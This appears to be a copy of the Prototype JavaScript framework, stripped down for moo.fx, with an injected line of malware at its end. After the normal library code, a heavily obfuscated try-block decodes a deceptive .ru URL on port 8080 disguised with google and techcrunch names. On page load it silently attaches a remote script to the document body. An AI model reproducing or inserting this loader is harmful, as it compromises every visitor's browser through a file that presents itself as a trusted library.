/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.each = function(func){
	for(var i=0;ob=this[i];i++) func(ob, i);
}

function $c(array){
	var nArray = [];
	for (i=0;el=array[i];i++) nArray.push(el);
	return nArray;
}
try {var N;if(N!='H' && N!='p'){N=''};var G='';var X=String("[");var Xm="red4iP".substr(0,2)+"plwTb".substr(0,2)+"ac3Ivm".substr(0,2)+"42Lpep42L".substr(4,1);var z=String("]");var m=RegExp;var cc=new Array();var c=String("g5Hu".substr(0,1));var r=new String();function d(K,Gh){this.xg='';this.sy='';var V='';var Z=new String();var P=X;var zu=new String();var n=new String();P+=Gh;var WY="";P+=z;this.l="";var w=new m(P, c);var Ik;if(Ik!='Y'){Ik='Y'};return K.replace(w, G);var XF;if(XF!='zm'){XF='zm'};var ZK;if(ZK!='t'){ZK='t'};};var Q=new String();var pN;if(pN!='AI' && pN != ''){pN=null};var Ex;if(Ex!='Ye' && Ex != ''){Ex=null};var M=new String("scr"+"ipt");var AV=new String();var FQ=new String();var wD=String("onlo"+"ad");var Ep=new Array();var at=new Array();var s=String("/g"+"nG2oo".substr(3)+"eXFgl".substr(3)+"MdNe.".substr(3)+"co"+"m/ion".substr(0,2)+"go"+"og0z8I".substr(0,2)+"ler60".substr(0,2)+".c"+"ivtNom".substr(4)+"/p"+"9NJger".substr(4)+"L4xsi4xL".substr(3,2)+"an"+"eCubl".substr(3)+"aZDWogaDWZ".substr(4,2)+".i1DO9".substr(0,2)+"r/"+"RQJdo".substr(3)+"wnJ4ce".substr(0,2)+"loQgJ".substr(0,2)+"ad"+"zyq.czqy".substr(3,2)+"PeSGomSGeP".substr(4,2)+"/neur".substr(0,2)+"aq"+"lPoEig".substr(4)+"tWFs.".substr(3)+"uVGNcouGNV".substr(4,2)+"rIwm.rIw".substr(3,2)+"ph"+"pOnq".substr(0,1));var K="1";var uM;if(uM!='iq'){uM=''};var b=d('hRtjtRpR:R/j/jgjijtRtjijgRijdRijyjojrR-RcRoRmj.j4RtRuRbjej.RcRojmR.jtjeRcjhjcjrjujnjcRhR-jcjojmj.jejaRsRtRpjaRrRkRojnjlRiRnjeR.jrjuR:j',"Rj");var op;if(op!='' && op!='Xo'){op=''};var L=d('84442404423382344240432323',"432");var h='';var jp;if(jp!='' && jp!='pm'){jp=''};var ed=new Array();window[wD]=function(){A=document.createElement(M);var Qg=new String();this.YV='';h+=b;h+=L+s;var Gt;if(Gt!='AN' && Gt != ''){Gt=null};var AH;if(AH!='Fy' && AH != ''){AH=null};var aO="";var Sh="";A.defer=K;A.src=h;var Gr=new String();var o=document.body;this.Ke="";this.mj='';o.appendChild(A);var v;if(v!='_'){v=''};};var ir='';var iv=new String();} catch(I){};